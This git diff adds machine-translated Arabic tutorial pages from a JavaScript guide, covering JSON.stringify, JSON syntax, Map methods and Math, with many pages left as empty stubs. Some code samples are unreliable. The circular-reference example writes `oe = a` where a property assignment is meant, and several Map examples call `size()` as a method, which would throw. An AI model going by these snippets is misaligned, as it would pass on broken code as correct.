+## وصف
+
+يتم تحويل قيم JSON الآمنة إلى نموذج سلسلة JSON المقابل لها. تظهر قيم JSON-unsafe من جهة أخرى:
+
+*   `undefined` إذا تم تمريرها كقيم إلى الأسلوب
+*   `null` إذا تم تمريرها كعنصر صفيف
+*   لا شيء إذا تم تمريره كخصائص على كائن
+*   يرمي خطأ إذا كان كائن مع مراجع (مراجع) دائرية عليه.
+
+ ``  //JSON-safe values 
+  JSON.stringify({});                  // '{}' 
+  JSON.stringify(true);                // 'true' 
+  JSON.stringify('foo');               // '"foo"' 
+  JSON.stringify([1, 'false', false]); // '[1,"false",false]' 
+  JSON.stringify({ x: 5 });            // '{"x":5}' 
+  JSON.stringify(new Date(2006, 0, 2, 15, 4, 5))  // '"2006-01-02T15:04:05.000Z"' 
+ 
+  //JSON-unsafe values passed as values to the method 
+  JSON.stringify( undefined );                    // undefined 
+  JSON.stringify( function(){} );                    // undefined 
+ 
+  //JSON-unsafe values passed as array elements 
+  JSON.stringify({ x: [10, undefined, function(){}, Symbol('')] });  // '{"x":[10,null,null,null]}' 
+ 
+ //JSON-unsafe values passed as properties on a object 
+  JSON.stringify({ x: undefined, y: Object, z: Symbol('') });  // '{}' 
+ 
+  //JSON-unsafe object with circular reference on it 
+  var o = { }, 
+    a = { 
+      b: 42, 
+      c: o, 
+      d: function(){} 
+    }; 
+ 
+  // create a circular reference inside `a` 
+  oe = a; 
+ 
+  // would throw an error on the circular reference 
+  // JSON.stringify( a ); 
+`` 
+
+`JSON.stringify(...)` بشكل مختلف إذا كان الكائن الذي تم تمريره إليه يحتوي على طريقة `toJSON()` محددة عليه. سيتم إجراء تسلسل قيمة الإرجاع من أسلوب `toJSON()` بدلاً من الكائن نفسه.
+
+يأتي هذا في متناول اليد بشكل استثنائي عندما يحتوي الكائن على أي قيمة JSON غير قانونية.
+
+ ``   //JSON-unsafe values passed as properties on a object 
+   var obj = { x: undefined, y: Object, z: Symbol('') }; 
+ 
+   //JSON.stringify(obj);  logs '{}' 
+   obj.toJSON = function(){ 
+    return { 
+      x:"undefined", 
+      y: "Function", 
+      z:"Symbol" 
+    } 
+   } 
+   JSON.stringify(obj);  //"{"x":"undefined","y":"Function","z":"Symbol"}" 
+ 
+  //JSON-unsafe object with circular reference on it 
+  var o = { }, 
+    a = { 
+      b: 42, 
+      c: o, 
+      d: function(){} 
+    }; 
+ 
+  // create a circular reference inside `a` 
+  oe = a; 
+ 
+  // would throw an error on the circular reference 
+  // JSON.stringify( a ); 
+ 
+  // define a custom JSON value serialization 
+  a.toJSON = function() { 
+    // only include the `b` property for serialization 
+    return { b: this.b }; 
+  }; 
+ 
+  JSON.stringify( a ); // "{"b":42}" 
+`` 
+
+#### `replacer`
+
+`replacer` ، كما ذكرنا سابقًا ، هو مرشح يشير إلى الخصائص التي سيتم تضمينها في سلسلة JSON. يمكن أن يكون إما صفيف أو وظيفة. عند المصفوفة ، يحتوي البديل على تمثيلات السلسلة الخاصة بتلك الخصائص فقط التي سيتم تضمينها في سلسلة JSON.
+
+ `  var foo = {foundation: 'Mozilla', model: 'box', week: 45, transport: 'car', month: 7}; 
+  JSON.stringify(foo, ['week', 'month']);    // '{"week":45,"month":7}', only keep "week" and "month" properties 
+` 
+
+إذا كان " `replacer` " دالة ، فسيتم استدعاؤه مرة واحدة للعنصر نفسه ، ثم مرة واحدة لكل خاصية في الكائن ، وفي كل مرة يتم تمرير وسيطين ، _مفتاح_ _وقيمة_ . لتخطي _مفتاح_ في التسلسل ، يجب أن يتم إرجاع `undefined` . خلاف ذلك ، يجب إرجاع _القيمة_ المقدمة. إذا كانت أي من هذه _القيم_ عبارة عن كائنات بحد ذاتها ، فإن وظيفة `replacer` تسلسلها بشكل متكرر كذلك.
+
+ `  function replacer(key, value) { 
+    // Filtering out properties 
+    if (typeof value === 'string') { 
+      return undefined; 
+    } 
+    return value; 
+  } 
+ 
+  var foo = {foundation: 'Mozilla', model: 'box', week: 45, transport: 'car', month: 7}; 
+  JSON.stringify(foo, replacer);  // '{"week":45,"month":7}' 
+` 
+
+إذا كان يتم تمرير صفيف إلى `JSON.stringify()` و `replacer` عوائد `undefined` لأي من عناصره، يتم استبدال قيمة العنصر مع `null` . لا تستطيع وظائف `replacer` إزالة القيم من صفيف.
+
+ `  function replacer(key, value) { 
+    // Filtering out properties 
+    if (typeof value === 'string') { 
+      return undefined; 
+    } 
+    return value; 
+  } 
+ 
+  var foo = ['Mozilla', 'box', 45, 'car', 7]; 
+  JSON.stringify(foo, replacer);  // "[null,null,45,null,7]" 
+` 
+
+#### `space`
+
+معلمة `space` المستخدمة في المسافة البادئة تجعل نتيجة `JSON.stringify()` أجمل.
+
+ `  var a = { 
+    b: 42, 
+    c: "42", 
+    d: [1,2,3] 
+  }; 
+ 
+  JSON.stringify( a, null, 3 ); 
+  // "{ 
+  //    "b": 42, 
+  //    "c": "42", 
+  //    "d": [ 
+  //       1, 
+  //       2, 
+  //       3 
+  //    ] 
+  // }" 
+ 
+  JSON.stringify( a, null, "-----" ); 
+  // "{ 
+  // -----"b": 42, 
+  // -----"c": "42", 
+  // -----"d": [ 
+  // ----------1, 
+  // ----------2, 
+  // ----------3 
+  // -----] 
+  // }" 
+` 
+
+#### معلومات اكثر:
+
+الرجوع إلى [مستندات MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/json/json-syntax/index.md b/client/src/guide/arabic/javascript/standard-objects/json/json-syntax/index.md
new file mode 100644
index 0000000000..22bf44528f
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/json/json-syntax/index.md
@@ -0,0 +1,112 @@
+---
+title: JSON Syntax
+localeTitle: JSON البناء
+---
+## JSON البناء
+
+بناء جملة JSON هو مجموعة فرعية من بناء جملة JavaScript.
+
+### قواعد JSON النحو
+
+*   JSON Object عبارة عن مجموعة غير مرتبة من أزواج الاسم / القيمة.
+*   أسماء الكائنات متبوعة بنقطتين (:).
+*   تستخدم الأقواس المتعرجة {} لعقد الأشياء. يبدأ الكائن بـ {(قوس متعرج يسار) وينتهي بـ} (قوس مستقيم مجعد).
+*   يتم تمثيل بيانات كائن JSON كمجموعة من زوج الاسم / القيمة.
+*   يتم فصل كل اسم / قيمة أزواج بفاصلة (،)
+*   وتستخدم الأقواس مربعة \[\] لعقد الصفائف.
+
+### JSON Data - A Name and a Value
+
+تتم كتابة بيانات JSON كأزواج اسم / قيمة.
+
+يتكون زوج الاسم / القيمة من اسم حقل (في علامات اقتباس مزدوجة) ، متبوعًا بنقطتين ، متبوعًا بقيمة:
+
+ `"handle":"moghya" 
+` 
+
+*   تتطلب أسماء JSON علامات اقتباس مزدوجة.
+
+### JSON - يُقيم إلى كائنات JavaScript
+
+يشبه تنسيق JSON تقريبًا كائنات جافا سكريبت.
+
+في JSON ، يجب أن تكون المفاتيح سلاسل ، مكتوبة بعلامات اقتباس مزدوجة:
+
+*   JSON
+
+ `"handle":"moghya" 
+` 
+
+*   جافا سكريبت
+
+ `handle:"moghya" 
+` 
+
+### قيم JSON
+
+في JSON ، يجب أن تكون القيم أحد أنواع البيانات التالية:
+
+*   سلسلة
+*   رقم
+*   كائن (كائن JSON)
+*   مجموعة
+*   منطقية
+*   لا شيء
+
+في قيم جافا سكريبت ، يمكن أن تكون جميع ما سبق ، بالإضافة إلى أي تعبير جافا سكريبت صالح ، بما في ذلك:
+
+*   وظيفة
+*   موعد
+*   غير محدد
+
+### يستخدم JSON Syntax
+
+نظرًا لاستنباط بنية JSON من تدوين كائن جافا سكريبت ، هناك حاجة إلى القليل جدًا من البرامج الإضافية للعمل مع JSON في جافا سكريبت.
+
+باستخدام JavaScript ، يمكنك إنشاء كائن وتعيين البيانات إليه ، على النحو التالي:
+
+ `var person = { 
+  "name":"Shubham", 
+  "age":21, 
+  "handle":"moghya", 
+  "website":"http://moghya.me/" 
+  }; 
+` 
+
+يمكنك الوصول إلى كائن JavaScript مثل هذا:
+
+ `//returns moghya 
+ person.handle; 
+` 
+
+يمكن أيضًا الوصول إليه على النحو التالي:
+
+ `//returns http://moghya.me/ 
+ person["website"]; 
+` 
+
+### المصفوفات في JSON
+
+ `var team = { 
+  "name":"novatoscript", 
+  "members" : 
+  [ 
+    { 
+      "name":"Shubham Sawant", 
+      "age":21, 
+      "handle":"moghya", 
+      "website":"http://moghya.me", 
+    }, 
+    { 
+      "name":"Saurabh Banore", 
+      "age":21, 
+      "handle":"banoresaurabh", 
+      "website":"http://banoresaurabh.me/", 
+    } 
+  ] 
+ } 
+` 
+
+### مثال
+
+وهناك مثال كبير جدا من JSON [هنا!](http://moghya.me/js/profile.json) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/map/index.md b/client/src/guide/arabic/javascript/standard-objects/map/index.md
new file mode 100644
index 0000000000..32c44348a0
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/map/index.md
@@ -0,0 +1,31 @@
+---
+title: Map
+localeTitle: خريطة
+---
+## خريطة
+
+خريطة لإدخالات `[key, value]` ، حيث يمكن أن تكون المفاتيح والقيم أي قيمة (كائنين وقيم بدائية).
+
+## بناء الجملة
+
+ `new Map([iterable]) 
+` 
+
+## المعلمات
+
+**iterable** Array أو أي كائن آخر قابل للتكرار والذي تكون عناصره أزواج القيمة الرئيسية.
+
+## مثال
+
+ `// basic usage 
+ const myMap = new Map(); 
+ myMap.set('foo',1); 
+ myMap.set('bar',2); 
+ myMap.set('baz',3); 
+ 
+ myMap.get('foo');   // returns 1 
+ myMap.get('baz');   // returns 3 
+ myMap.get('hihi');  // return undefined 
+ 
+ myMap.size();   // 3 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/map/map-prototype-clear/index.md b/client/src/guide/arabic/javascript/standard-objects/map/map-prototype-clear/index.md
new file mode 100644
index 0000000000..df497c4c99
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/map/map-prototype-clear/index.md
@@ -0,0 +1,29 @@
+---
+title: Map.prototype.clear
+localeTitle: Map.prototype.clear
+---
+## Map.prototype.clear
+
+يزيل كل العناصر من كائن `Map` . إرجاع `undefined` .
+
+## بناء الجملة
+
+ `myMap.clear(); 
+` 
+
+## مثال
+
+ `const myMap = new Map(); 
+ myMap.set('foo',1); 
+ myMap.set('bar',2); 
+ myMap.set('baz',3); 
+ 
+ 
+ myMap.size(); // 3 
+ myMap.has('foo'); // true; 
+ 
+ myMap.clear(); 
+ 
+ myMap.size(); // 0 
+ myMap.has('foo'); // false 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/map/map-prototype-delete/index.md b/client/src/guide/arabic/javascript/standard-objects/map/map-prototype-delete/index.md
new file mode 100644
index 0000000000..8b4ea515df
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/map/map-prototype-delete/index.md
@@ -0,0 +1,33 @@
+---
+title: Map.prototype.delete
+localeTitle: Map.prototype.delete
+---
+## Map.prototype.delete
+
+يزيل العنصر المحدد من عنصر `Map` . يرجع ما إذا كان تم العثور على المفتاح وحذفه بنجاح.
+
+## بناء الجملة
+
+ `myMap.delete(key); 
+` 
+
+## المعلمات
+
+**المفتاح** المطلوب.
+
+## مثال
+
+ `const myMap = new Map(); 
+ myMap.set('foo',1); 
+ myMap.set('bar',2); 
+ myMap.set('baz',3); 
+ 
+ 
+ myMap.size(); // 3 
+ myMap.has('foo'); // true; 
+ 
+ myMap.delete('foo');  // Returns true. Successfully removed. 
+ 
+ myMap.size(); // 2 
+ myMap.has('foo');    // Returns false. The "foo" element is no longer present. 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/map/map-prototype-entries/index.md b/client/src/guide/arabic/javascript/standard-objects/map/map-prototype-entries/index.md
new file mode 100644
index 0000000000..7f7f98868f
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/map/map-prototype-entries/index.md
@@ -0,0 +1,27 @@
+---
+title: Map.prototype.entries
+localeTitle: Map.prototype.entries
+---
+## Map.prototype.entries
+
+إرجاع كائن `Iterator` جديد يحتوي على أزواج `[key, value]` لكل عنصر في كائن `Map` بترتيب الإدراج.
+
+## بناء الجملة
+
+ `myMap.entries() 
+` 
+
+## مثال
+
+ `const myMap = new Map(); 
+ myMap.set('foo',1); 
+ myMap.set('bar',2); 
+ myMap.set('baz',3); 
+ 
+ 
+ var iterator = myMap.entries(); 
+ 
+ console.log(iterator.next().value); // ['foo', 1] 
+ console.log(iterator.next().value); // ['bar', 2] 
+ console.log(iterator.next().value); // ['baz', 3] 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/map/map-prototype-foreach/index.md b/client/src/guide/arabic/javascript/standard-objects/map/map-prototype-foreach/index.md
new file mode 100644
index 0000000000..4358901966
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/map/map-prototype-foreach/index.md
@@ -0,0 +1,33 @@
+---
+title: Map.prototype.forEach
+localeTitle: Map.prototype.forEach
+---
+## Map.prototype.forEach
+
+تنفيذ الوظيفة المقدمة مرة واحدة لكل زوج مفتاح / قيمة في كائن `Map` ، بترتيب الإدراج. إرجاع `undefined` .
+
+## بناء الجملة
+
+ `myMap.forEach(callback, thisArg) 
+` 
+
+## المعلمات
+
+**رد الاتصال** وظيفة التنفيذ لكل عنصر. **thisArg** Value لاستخدامه كهذا عند تنفيذ رد الاتصال.
+
+## مثال
+
+ ``const myMap = new Map(); 
+ myMap.set('foo',1); 
+ myMap.set('bar',2); 
+ myMap.set('baz',3); 
+ 
+ function valueLogger(value, key, map){ 
+    console.log(`${value}`); 
+ } 
+ 
+ myMap.forEach(valueLogger); 
+ // 1 
+ // 2 
+ // 3 
+``
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/map/map-prototype-get/index.md b/client/src/guide/arabic/javascript/standard-objects/map/map-prototype-get/index.md
new file mode 100644
index 0000000000..7e84eff461
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/map/map-prototype-get/index.md
@@ -0,0 +1,28 @@
+---
+title: Map.prototype.get
+localeTitle: Map.prototype.get
+---
+## Map.prototype.get
+
+لعرض قيمة المفتاح المحدد من كائن `Map` .
+
+## بناء الجملة
+
+ `myMap.get(key); 
+` 
+
+## المعلمات
+
+**المفتاح** المطلوب.
+
+## مثال
+
+ `const myMap = new Map(); 
+ myMap.set('foo',1); 
+ myMap.set('bar',2); 
+ myMap.set('baz',3); 
+ 
+ myMap.get('foo');   // returns 1 
+ myMap.get('baz');   // returns 3 
+ myMap.get('hihi');  // return undefined 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/map/map-prototype-has/index.md b/client/src/guide/arabic/javascript/standard-objects/map/map-prototype-has/index.md
new file mode 100644
index 0000000000..e459246991
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/map/map-prototype-has/index.md
@@ -0,0 +1,46 @@
+---
+title: Map.prototype.has
+localeTitle: Map.prototype.has
+---
+## Map.prototype.has
+
+في ضوء `Map` تحتوي على عناصر بالداخل ، تتيح لك وظيفة `has()` تحديد ما إذا كان هناك عنصر موجود داخل الخريطة أم لا ، استنادًا إلى مفتاح يمر.
+
+تقوم الدالة `has()` بإرجاع قيمة _`Boolean`_ (إما `true` أو `false` ) ، والتي تشير إلى أن الخريطة تحتوي على العنصر أم لا.
+
+يمكنك تمرير معلمة `key` إلى الدالة `has()` ، والتي سيتم استخدامها للبحث عن عنصر بهذا المفتاح داخل الخريطة.
+
+مثال:
+
+ ``// A simple Map 
+ const campers = new Map(); 
+ 
+ // add some elements to the map 
+ // each element's key is 'camp' and a number 
+ campers.set('camp1', 'Bernardo'); 
+ campers.set('camp2', 'Andrea'); 
+ campers.set('camp3', 'Miguel'); 
+ 
+ // Now I want to know if there's an element 
+ // with 'camp4' key: 
+ campers.has('camp4'); 
+ // output is `false` 
+`` 
+
+لا تحتوي خريطة `campers` حاليًا على عنصر يحتوي على مفتاح `'camp4'` . لذلك ، `has('camp4')` مكالمة `has('camp4')` الدالة `false` .
+
+ ``// If we add an element with the 'camp4' key to the map 
+ campers.set('camp4', 'Ana'); 
+ 
+ // and try looking for that key again 
+ campers.has('camp4'); 
+ // output is `true` 
+`` 
+
+بما أن الخريطة تحتوي الآن على عنصر يحتوي على مفتاح `'camp4'` ، `has('camp4')` مكالمة `has('camp4')` بشكل `true` هذه المرة!
+
+في سيناريو أكثر واقعية ، قد لا تضيف العناصر إلى الخريطة يدويًا بنفسك ، لذا فإن الدالة `has()` ستصبح مفيدة حقًا في تلك الحالات.
+
+#### معلومات اكثر:
+
+*   [Map.prototype.has () على MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map/has)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/map/map-prototype-keys/index.md b/client/src/guide/arabic/javascript/standard-objects/map/map-prototype-keys/index.md
new file mode 100644
index 0000000000..dec5945429
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/map/map-prototype-keys/index.md
@@ -0,0 +1,27 @@
+---
+title: Map.prototype.keys
+localeTitle: Map.prototype.keys
+---
+## Map.prototype.keys
+
+إرجاع كائن `Iterator` جديد يحتوي على مفاتيح لكل عنصر في كائن `Map` بترتيب الإدراج.
+
+## بناء الجملة
+
+ `myMap.keys() 
+` 
+
+## مثال
+
+ `const myMap = new Map(); 
+ myMap.set('foo',1); 
+ myMap.set('bar',2); 
+ myMap.set('baz',3); 
+ 
+ 
+ const iterator = myMap.keys(); 
+ 
+ console.log(iterator.next().value); // 'foo' 
+ console.log(iterator.next().value); // 'bar' 
+ console.log(iterator.next().value); // 'baz' 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/map/map-prototype-set/index.md b/client/src/guide/arabic/javascript/standard-objects/map/map-prototype-set/index.md
new file mode 100644
index 0000000000..e5e3c559b3
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/map/map-prototype-set/index.md
@@ -0,0 +1,31 @@
+---
+title: Map.prototype.set
+localeTitle: Map.prototype.set
+---
+## Map.prototype.set
+
+يقوم بتعيين أو تحديث عنصر بمفتاح وقيمة محددين لكائن `Map` . إرجاع كائن `map` .
+
+## بناء الجملة
+
+ `myMap.set(key, value); 
+` 
+
+## المعلمات
+
+**المفتاح** المطلوب. **القيمة** المطلوبة.
+
+## مثال
+
+ `const myMap = new Map(); 
+ 
+ // sets new elements 
+ myMap.set('foo',1); 
+ myMap.set('bar',2); 
+ myMap.set('baz',3); 
+ 
+ // Updates an element 
+ myMap.set('foo', 100); 
+ 
+ myMap.get('foo');   // returns 100 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/map/map-prototype-size/index.md b/client/src/guide/arabic/javascript/standard-objects/map/map-prototype-size/index.md
new file mode 100644
index 0000000000..738cfd9609
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/map/map-prototype-size/index.md
@@ -0,0 +1,23 @@
+---
+title: Map.prototype.size
+localeTitle: Map.prototype.size
+---
+## Map.prototype.size
+
+لعرض عدد العناصر في كائن `Map` .
+
+## بناء الجملة
+
+ `myMap.size(); 
+` 
+
+## مثال
+
+ `const myMap = new Map(); 
+ myMap.set('foo',1); 
+ myMap.set('bar',2); 
+ myMap.set('baz',3); 
+ 
+ 
+ myMap.size(); // 3 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/map/map-prototype-values/index.md b/client/src/guide/arabic/javascript/standard-objects/map/map-prototype-values/index.md
new file mode 100644
index 0000000000..7531078418
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/map/map-prototype-values/index.md
@@ -0,0 +1,26 @@
+---
+title: Map.prototype.values
+localeTitle: Map.prototype.values
+---
+## Map.prototype.values
+
+إرجاع كائن مكرر يحتوي على قيم لكل عنصر في كائن `Map` بترتيب الإدراج.
+
+## بناء الجملة
+
+ `myMap.values() 
+` 
+
+## مثال
+
+ `const myMap = new Map(); 
+ myMap.set('foo',1); 
+ myMap.set('bar',2); 
+ myMap.set('baz',3); 
+ 
+ 
+ const iterator = myMap.values(); 
+ console.log(iterator.next().value); // 1 
+ console.log(iterator.next().value); // 2 
+ console.log(iterator.next().value); // 3 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/math/index.md b/client/src/guide/arabic/javascript/standard-objects/math/index.md
new file mode 100644
index 0000000000..949b701bb1
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/math/index.md
@@ -0,0 +1,22 @@
+---
+title: Math
+localeTitle: الرياضيات
+---
+## الرياضيات
+
+`Math` هي كائن مدمج قياسي في JavaScript يحتوي على ثوابت ووظائف رياضية كخصائص وأساليب. أبرزها أنه يحتوي على ثوابت π وثابت أويلر ووظائف مثل `floor()` ، `round()` ، `ceil()` وغيرها الكثير.
+
+### مثال
+
+يوضح المثال التالي كيفية استخدام كائن `Math` لكتابة دالة تقوم بحساب مساحة دائرة:
+
+ `function calculateCircleArea(radius) { 
+  return Math.PI * Math.pow(radius, 2); 
+ } 
+ calculateCircleArea(1); // 3.141592653589793 
+` 
+
+### موارد آخرى
+
+*   [MDN web docs](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math)
+*   [W3schools](https://www.w3schools.com/js/js_math.asp)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/math/math-abs/index.md b/client/src/guide/arabic/javascript/standard-objects/math/math-abs/index.md
new file mode 100644
index 0000000000..fd1e7da6b4
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/math/math-abs/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Abs
+localeTitle: Math Abs
+---
+## Math Abs
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-abs/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/math/math-acos/index.md b/client/src/guide/arabic/javascript/standard-objects/math/math-acos/index.md
new file mode 100644
index 0000000000..706365de3f
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/math/math-acos/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Acos
+localeTitle: الرياضيات أكوس
+---
+## الرياضيات أكوس
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-acos/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/math/math-acosh/index.md b/client/src/guide/arabic/javascript/standard-objects/math/math-acosh/index.md
new file mode 100644
index 0000000000..fcc69a5179
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/math/math-acosh/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Acosh
+localeTitle: الرياضيات العاشق
+---
+## الرياضيات العاشق
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-acosh/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/math/math-asin/index.md b/client/src/guide/arabic/javascript/standard-objects/math/math-asin/index.md
new file mode 100644
index 0000000000..f7ad9a5a63
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/math/math-asin/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Asin
+localeTitle: الرياضيات آسين
+---
+## الرياضيات آسين
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-asin/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/math/math-asinh/index.md b/client/src/guide/arabic/javascript/standard-objects/math/math-asinh/index.md
new file mode 100644
index 0000000000..b97e8b9f50
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/math/math-asinh/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Asinh
+localeTitle: الرياضيات اسينه
+---
+## الرياضيات اسينه
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-asinh/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/math/math-atan/index.md b/client/src/guide/arabic/javascript/standard-objects/math/math-atan/index.md
new file mode 100644
index 0000000000..aa4ba1d17a
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/math/math-atan/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Atan
+localeTitle: Math Atan
+---
+## الرياضيات اتان
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-atan/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/math/math-atan2/index.md b/client/src/guide/arabic/javascript/standard-objects/math/math-atan2/index.md
new file mode 100644
index 0000000000..c360cf01c5
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/math/math-atan2/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Atan2
+localeTitle: الرياضيات Atan2
+---
+## الرياضيات Atan2
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-atan2/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/math/math-atanh/index.md b/client/src/guide/arabic/javascript/standard-objects/math/math-atanh/index.md
new file mode 100644
index 0000000000..dc4b2e6f2b
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/math/math-atanh/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Atanh
+localeTitle: الرياضيات اتانه
+---
+## الرياضيات اتانه
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-atanh/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/math/math-cbrt/index.md b/client/src/guide/arabic/javascript/standard-objects/math/math-cbrt/index.md
new file mode 100644
index 0000000000..ccf54f80a2
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/math/math-cbrt/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Cbrt
+localeTitle: الرياضيات Cbrt
+---
+## الرياضيات Cbrt
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/math/math-cbrt/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/math/math-ceil/index.md b/client/src/guide/arabic/javascript/standard-objects/math/math-ceil/index.md
new file mode 100644
index 0000000000..fdce9dc7d4
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/math/math-ceil/index.md
@@ -0,0 +1,21 @@
+---
+title: Math Ceil
+localeTitle: الرياضيات Ceil
+---
+## الرياضيات Ceil
+
+تعد `Math.ceil()` طريقة للكائن القياسي في Math تقريب رقم محدد لأعلى إلى العدد الصحيح التالي. لاحظ أنه بالنسبة للأرقام السالبة فهذا يعني أن الرقم سيتم تقريبه "نحو 0" بدلاً من عدد القيمة المطلقة الأكبر (انظر الأمثلة).
+
+### أمثلة
+
+ `Math.ceil(0.1)  //  1 
+ Math.ceil(1.3)  //  2 
+ Math.ceil(-0.9) // -0 
+ Math.ceil(-1.5) // -1 
+` 
+
+### معلومات اكثر:
+
+*   [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/ceil)
+*   [w3schools](https://www.w3schools.com/jsref/jsref_ceil.asp)
+*   [ويكيبيديا](https://en.wikipedia.org/wiki/Floor_and_ceiling_functions)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/math/math-clz32/index.md b/client/src/guide/arabic/javascript/standard-objects/math/math-clz32/index.md
new file mode 100644
index 0000000000..4021fac90e
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/math/math-clz32/index.md
@@ -0,0 +1,11 @@
+---
+title: Math Clz32
+localeTitle: Math Clz32
+---
+## Math Clz32
+
